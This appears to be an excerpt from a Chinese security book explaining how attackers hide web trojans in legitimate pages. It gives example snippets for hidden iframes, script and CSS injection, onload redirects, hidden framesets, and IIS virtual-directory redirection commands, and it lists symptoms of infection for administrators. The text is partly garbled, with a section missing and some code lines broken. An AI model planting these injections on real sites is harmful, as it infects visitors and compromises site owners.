看黑客怎樣在網(wǎng)頁上掛馬網(wǎng)頁木馬在本質(zhì)上是一個Web頁,但是又和普通的Web頁面有很大的區(qū)別,首先就是由于其特殊性,網(wǎng)頁木馬 無法光明正大地存在,只能隱藏在正常的Web頁面中。把網(wǎng)頁木馬嵌入到正常的網(wǎng)頁中的行為,就是俗稱的掛馬。掛馬并不是僅僅將惡意代碼寫入正常網(wǎng)頁這么簡單
網(wǎng)頁木馬在本質(zhì)上是一個Web頁,但是又和普通的Web頁面有很大的區(qū)別,首先就是由于其特殊性,網(wǎng)頁木馬 無法光明正大地存在,只能隱藏在正常的Web頁面中。把網(wǎng)頁木馬嵌入到正常的網(wǎng)頁中的行為,就是俗稱的“掛馬”。掛馬并不是僅僅將惡意代碼寫入正常 網(wǎng)頁這么簡單,因?yàn)閷τ趻祚R者來說,希望網(wǎng)頁木馬的生存時間能盡可能地長,按照現(xiàn)在的黑客產(chǎn)業(yè)鏈的黑市價格,在一個大型社區(qū)網(wǎng)站掛一個小時的網(wǎng)頁木馬就需 要幾千元人民幣,所以為了躲避管理員的檢查,掛馬的黑客們絞盡腦汁,網(wǎng)頁木馬的隱藏技術(shù)也因此得到了極大的發(fā)展,大致有以下幾種。 (1)在頁面插入一個隱藏的框架:在網(wǎng)頁中插入一段如下的HTML代碼:<iframe src=http://網(wǎng)頁木馬地址width=0 height=0></iframe>,其中width和height屬性為0意味著該框架是不可見的,受害者若不查看源代碼很難發(fā)現(xiàn) 網(wǎng)頁木馬。這個方法也是掛馬最常用的一段代碼,但是隨著網(wǎng)站管理員和廣大網(wǎng)民安全意識的提高,只要在源代碼中搜索iframe這個關(guān)鍵字,就很容易找到網(wǎng) 頁木馬的源頭。 (2)利用JavaScript引入網(wǎng)頁木馬:相比iframe這個標(biāo)簽,<SCRIPT src="http://xx.js" type=text/javascript> 這段代碼就顯得更加隱蔽,因?yàn)閹缀?5%的網(wǎng)頁中都會出現(xiàn)類似的script 標(biāo)簽,利用js引入網(wǎng)頁木馬也有多種方法: *在js中直接寫出框架網(wǎng)頁木馬,示例代碼如下: document.write("<iframe width='0' height='0' src='網(wǎng)頁木馬地址'></iframe>"); *指定language的屬性為"JScript.Encode",還可以引入其他擴(kuò)展名的js代碼,這樣就更加具有迷惑性,示例代碼如下: <SCRIPT language="JScript.Encode" src=http://www. /mm.jpg></script>; *利用js更改body的innerHTML屬性,引入網(wǎng)頁木馬,如果對內(nèi)容進(jìn)行編碼的話,不但能繞過殺毒軟件的檢測,而且增加了解密的難度,示例代碼如下: op.document.body.innerHTML=top.document.body.innerHTML+'\r\n <iframe src="http://網(wǎng)頁木馬地址/%22%3E%3C/iframe%3E'; *利用JavaScript的window.open方法打開一個不可見的新窗口,示例代碼如下: <SCRIPT language=javascript>window.open("網(wǎng)頁木馬地址","","toolbar=no, location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1"); </script>; *利用URL欺騙,示例代碼如下: a href=http://www.163.com(/迷惑用戶的鏈接地址,顯示這個地址指向木馬地址) onMouseOver="www_163_com(); return true;"> 頁面要顯示的正常內(nèi)容</a>: (3)利用body的onload屬性引入網(wǎng)頁木馬:使用如下代碼就可以使網(wǎng)頁在加載完成的時候跳轉(zhuǎn)到網(wǎng)頁木馬 的網(wǎng)址<body onload="window.location='網(wǎng)頁木馬地址';"></body>。 (4)利用層疊樣式表CSS引入js,從而引入網(wǎng)頁木馬,示例代碼如下:body{background- image:url('javascript:document.write("<script src=http://www.XXX.com/xx.js></script>")')}。 (5)利用隱藏的分割框架引入網(wǎng)頁木馬,示例代碼如下: <frameset rows="444,0" cols="*"><frame src="正常網(wǎng)頁" framborder="no" scrolling="auto" noresize marginwidth= "0" margingheight="0"><frame src="網(wǎng)頁木馬" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight= "0"> (6)利用ISAPI引入網(wǎng)頁木馬:ISAPI(Internet服務(wù)應(yīng)用程序編程接口)技術(shù)使開發(fā)人員可以擴(kuò)展IIS服務(wù)器提供的功能。 ISAPI擴(kuò)展是一個動態(tài)鏈接庫(.dll),它使用ISAPI提供一套Web功能,這些功能超過IIS以本機(jī)方式提供的功能。當(dāng)用戶需要使用ISAPI 擴(kuò)展提供的一種功能時,他們可以向服務(wù)器發(fā)送一個請求。某些情況下可以直接調(diào)用ISAPI擴(kuò)展,但更常見的情況是用戶在服務(wù)器上請求包含要處理的命令的文 件。遇有用戶請求此類文件時,IIS會確定應(yīng)該用哪個ISAPI擴(kuò)展分析該文件,方法是查看一個腳本映射表,該表列出了與服務(wù)器上的各個ISAPI擴(kuò)展相 關(guān)的文件擴(kuò)展名。 ISAPI本意是擴(kuò)展IIS的功能,可以做成IIS防火墻,過濾一些非法內(nèi)容,也可以防盜鏈的防火墻,但在黑客的手里卻成了攻擊的利器,ISAPI
可以做成服務(wù)器上的后門,在掛馬中可以對HTTP請求進(jìn)行過濾,然后在里面插入iframe等的標(biāo)簽插入網(wǎng)頁木馬,這種插入網(wǎng)頁木馬的方式十分隱蔽,管理
員從Web目錄文件的檢查中看不出什么異常,但是用戶所得到的網(wǎng)頁中還是被插入了網(wǎng)頁木馬,有點(diǎn)安全意識的管理員可能會想到是ISAPI的問題,假如發(fā)現(xiàn)
有新增加的ISAPI映射,那就可能有問題了,但假如是現(xiàn)有的ISAPI
DLL被替換,那就更難被發(fā)現(xiàn)了,還得一個個對比正常的IIS中的文件,大大增加了發(fā)現(xiàn)的難度,但是編寫ISAPI擴(kuò)展的難度也比較大,網(wǎng)上也從未公布過
這樣的代碼,本書在這里也不打算具體介紹這方面的技術(shù),以免被用于歧途,而介紹的目的是希望能引起管理員對這種新型掛馬方式的注意,盡管編寫這樣的DLL
插件有一定的技術(shù)門檻,但是有網(wǎng)絡(luò)上還是有網(wǎng)友發(fā)現(xiàn)出現(xiàn)過這樣攻擊的,如圖2.1所示(解析asp腳本的DLL被黑客替換了)。 這是一種很簡單的方法,只要任何能接觸到IIS管理器的人都能輕易地做到,但是如果頁面跳轉(zhuǎn)得比較明顯,或者影響范圍比較廣,那么管理員肯定會首先
檢查Web目錄下的文件,假如還是沒有找到問題,可能就會檢查IIS中出的問題頁面文件的屬性,就會發(fā)現(xiàn)其中的問題。幾乎每個頁面都會引用到很多js腳
本,類似這樣的HTML語句:<script
src=include/xx.js></script>,假如我們替換的是其中的一個腳本的話,使用document.Write方
法寫出網(wǎng)頁木馬的iframe框架并且保留原js腳本的功能,那么隱藏性就大大提高了,因?yàn)闆]有改動任何文件,除非管理員一個一個地檢查文件的屬性,否則
很難發(fā)現(xiàn)問題,但那樣的話代價將會很大。如圖2.2、圖2.3所示。 的手段呢,答案是肯定的。IIS中可以建立一個沒有物理目錄的虛擬目錄,這樣一來這個目錄就會在IIS里不可見,黑客們就會利用虛擬目錄做文章:黑 客會首先建立一個不可見的虛擬目錄,如果主頁里調(diào)用了include文件夾下的js文件,那么就建立include目錄,這項(xiàng)操作可以借助IIS的腳本實(shí) 現(xiàn),其中adsutil.vbs腳本是在IIS的安裝目錄如C:\Inetpub\AdminScripts下的,是控制IIS行為的一個腳本,我們可以 用如下命令建立虛擬目錄: script adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir" 于是就建立了一個IIS里不可見的虛擬目錄,因?yàn)闆]有設(shè)置路徑,所以不會在IIS管理器中顯示。然后再在這個目錄下建立一個名字叫做xx.js的虛擬目錄: script adsutil.vbs Create W3SVC/1/Root/www/include/xx.js "IIsWebVirtualDir" 這樣,就存在一個include/xx.js的虛擬目錄了。然后再利用腳本對這個目錄進(jìn)行資源重定向,cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/ httpredirect "http:///yy.js"。這樣就更改了xx.js虛擬目錄的重定向特性。注意:其中W3SVC/1/Root/www/代表IIs下 的第一個Web服務(wù)器的www虛擬目錄,其他的操作可以打開adsutil.vbs腳本的幫助看看!這樣操作之后就設(shè)置了虛擬目錄的重定向特性,現(xiàn)在試著 在主頁里調(diào)用include/xx.js,所有調(diào)用xx.js的頁面都會被重定向到y(tǒng)y.js,并且xx.js沒有任何的改動和影響!這是IIS的一種特 性,從某種意義上說是一個Bug,它處理用戶的請求是虛擬目錄優(yōu)先于物理目錄,而且IIS管理器中也沒有留下任何的蛛絲馬跡。這樣,網(wǎng)頁木馬在這個服務(wù)器 上就更難被清除了。這可以說是管理員的噩夢,除了重新安裝IIS或者恢復(fù)IIS的設(shè)置,似乎沒有更好的辦法去對付這種方法。 (8)利用數(shù)據(jù)庫引入網(wǎng)頁木馬:現(xiàn)在網(wǎng)絡(luò)上幾乎50%的網(wǎng)站都是基于數(shù)據(jù)庫建立的動態(tài)網(wǎng)站,這里說的動態(tài)網(wǎng)頁,與網(wǎng)頁上的各種動畫、滾動字幕等視覺 上的“動態(tài)效果”沒有直接關(guān)系,動態(tài)網(wǎng)頁可以是純文字內(nèi)容的,也可以是包含各種動畫的內(nèi)容,這些只是網(wǎng)頁具體內(nèi)容的表現(xiàn)形式,無論網(wǎng)頁是否具有動態(tài)效果, 采用動態(tài)網(wǎng)站技術(shù)生成的網(wǎng)頁都稱為動態(tài)網(wǎng)頁。從網(wǎng)站瀏覽者的角度來看,無論是動態(tài)網(wǎng)頁還是靜態(tài)網(wǎng)頁,都可以展示基本的文字和圖片信息,但從網(wǎng)站開發(fā)、管 理、維護(hù)的角度來看就有很大的差別。 動態(tài)網(wǎng)頁一般有如下四個特點(diǎn):第一,動態(tài)網(wǎng)頁以數(shù)據(jù)庫技術(shù)為基礎(chǔ),可以大大降低網(wǎng)站維護(hù)的工作量;第二,采用動態(tài)網(wǎng)頁技術(shù)的網(wǎng)站可以實(shí)現(xiàn)更多的功 能,如用戶注冊、用戶登錄、在線調(diào)查、用戶管理、訂單管理等;第三,動態(tài)網(wǎng)頁實(shí)際上并不是獨(dú)立存在于服務(wù)器上的網(wǎng)頁文件,只有當(dāng)用戶請求時服務(wù)器才返回一 個完整的網(wǎng)頁;第四,動態(tài)網(wǎng)頁中的“?”對搜索引擎檢索存在一定的問題,搜索引擎一般不可能從一個網(wǎng)站的數(shù)據(jù)庫中訪問全部網(wǎng)頁,或者出于技術(shù)方面的考慮, 搜索蜘蛛不去抓取網(wǎng)址中“?”后面的內(nèi)容,因此采用動態(tài)網(wǎng)頁的網(wǎng)站在進(jìn)行搜索引擎推廣時需要做一定的技術(shù)處理才能適應(yīng)搜索引擎的要求。黑客們在取得網(wǎng)站的 權(quán)限之后,可以通過后臺系統(tǒng)或者webshell將iframe等網(wǎng)頁木馬更新到數(shù)據(jù)庫中,又或者通過SQL注入點(diǎn)利用update語句將網(wǎng)頁木馬注射進(jìn) 數(shù)據(jù)庫。不過,由于一般注入點(diǎn)的權(quán)限都是比較低的,可能這個方法不容易實(shí)現(xiàn)。但不可否認(rèn),數(shù)據(jù)庫也是網(wǎng)頁木馬一個非常好的隱蔽角落。 (9)利用統(tǒng)計(jì)網(wǎng)站大規(guī)模掛馬:現(xiàn)在很多網(wǎng)站為了統(tǒng)計(jì)網(wǎng)站的流量,都使用流量統(tǒng)計(jì)系統(tǒng),只要統(tǒng)計(jì)網(wǎng)站被攻陷,無數(shù)使用該統(tǒng)計(jì)系統(tǒng)的網(wǎng)站都會成為受害
者。統(tǒng)計(jì)網(wǎng)站間接掛馬的方式將有可能取代傳統(tǒng)的單一網(wǎng)頁掛馬而成為未來網(wǎng)頁掛馬的主流途徑。因此,黑客肆意尋找知名的第三方網(wǎng)站“下手”,成功入侵后對該
網(wǎng)站進(jìn)行掛馬,從而使得其他依賴該第三方網(wǎng)站功能的網(wǎng)站自動被中上了木馬頁面,這樣顯然極大地增強(qiáng)了木馬的傳播能力。由于使用知名第三方網(wǎng)站功能的網(wǎng)站很
多,使得網(wǎng)頁木馬能夠短時間內(nèi)迅速膨脹傳播,對社會的危害極大。所以,使用這種間接掛馬的方法,使得單純分析網(wǎng)頁本身代碼的方法已經(jīng)無法發(fā)現(xiàn)網(wǎng)站是否被掛
馬。微點(diǎn)反病毒專家在用戶的反饋中發(fā)現(xiàn),由于間接掛馬手段的隱蔽性較強(qiáng),很多網(wǎng)站的管理員甚至連自己都不知道網(wǎng)站已經(jīng)被掛馬,如圖2.4和圖2.5所示。 *有殺毒軟件報警; *IE瀏覽器無故崩潰; *硬盤燈一直閃爍,系統(tǒng)運(yùn)行緩慢; *IE瀏覽器假死。 |
|